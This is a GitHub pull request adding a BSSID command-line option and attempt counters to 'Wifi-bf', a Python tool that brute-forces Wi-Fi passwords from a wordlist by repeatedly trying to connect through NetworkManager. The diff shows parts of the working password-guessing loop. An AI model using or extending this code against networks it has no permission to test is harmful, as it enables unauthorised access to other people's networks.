Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add -b and --bssid to specify BSSID from CLI #8

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ optional arguments:
-h, --help show this help message and exit
-u URL, --url URL The url that contains the list of passwords
-f FILE, --file FILE The file that contains the list of passwords
-b BSSID, --bssid BSSID The target BSSID
-v, --verbose Optional: Use to show all passwords attempted, rather than just the successful one.
```

Expand Down
51 changes: 33 additions & 18 deletions src/__main__.py
100644 → 100755
Original file line number Diff line number Diff line change
Expand Up @@ -70,6 +70,13 @@ def argument_parser():
help='Optional: Use to show all passwords attempted, rather than just the successful one.'
)

parser.add_argument(
'-b', '--bssid',
type=str,
default=None,
help='The target WI-FI BSSID'
)

return parser.parse_args()


Expand Down Expand Up @@ -147,7 +154,9 @@ def prompt_for_target_choice(max):


def brute_force(selected_network, passwords, args):
count = 0
for password in passwords:
count += 1
# necessary due to NetworkManager restart after unsuccessful attempt at login
password = password.strip()

Expand All @@ -158,8 +167,7 @@ def brute_force(selected_network, passwords, args):
decoded_line = password.decode("utf-8")

if args.verbose is True:
print(bcolors.HEADER+"** TESTING **: with password '" +
decoded_line+"'"+bcolors.ENDC)
print(bcolors.HEADER+f"[{count}] ** TESTING **: with password '" + decoded_line+"'"+bcolors.ENDC)

if (len(decoded_line) >= 8):
contain = False
Expand All @@ -186,19 +194,14 @@ def brute_force(selected_network, passwords, args):
]

try:
subprocess.run(commands, capture_output=True, text=True,
check=True)
sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
decoded_line+"' succeeded."+bcolors.ENDC)
subprocess.run(commands, capture_output=True, text=True, check=True)
sys.exit(bcolors.OKGREEN+f"[{count}] ** KEY FOUND! **: password '" + decoded_line+"' succeeded."+bcolors.ENDC)
except subprocess.CalledProcessError as e:
if args.verbose is True:
print(bcolors.FAIL+"** TESTING **: password '" +
decoded_line+"' failed."+bcolors.ENDC)

print(bcolors.FAIL+f"[{count}] ** TESTING **: password '" + decoded_line+"' failed."+bcolors.ENDC)
else:
if args.verbose is True:
print(bcolors.OKCYAN+"** TESTING **: password '" +
decoded_line+"' too short, passing."+bcolors.ENDC)
print(bcolors.OKCYAN+f"[{count}] ** TESTING **: password '" + decoded_line+"' too short, passing."+bcolors.ENDC)

print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

Expand Down Expand Up @@ -239,17 +242,29 @@ def main():
print("No networks found!")
sys.exit(-1)

display_targets(networks, security_type)
max = len(networks)
pick = prompt_for_target_choice(max)
target = networks[pick]
if args.bssid is None :
display_targets(networks, security_type)
max = len(networks)
pick = prompt_for_target_choice(max)
target = networks[pick]

elif args.bssid in networks :
print(bcolors.OKGREEN,f"Network with BSSID {args.bssid} has been found!",bcolors.ENDC)
target = args.bssid

else :
print(bcolors.FAIL,f"Not any network with BSSID {args.bssid} has been found!",bcolors.ENDC)
exit()
cls()
header()

print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")

if args.file is None and args.url is None :
print("No wordlists provided, defaulting with https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt")

if args.verbose :
print("\nWifi-bf is running. Attempts are shown in realtime.\nPasswords should have at least 8 chars to be attempted !")
else :
print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.\nPasswords should have at least 8 chars to be attempted !")
brute_force(target, passwords, args)


main()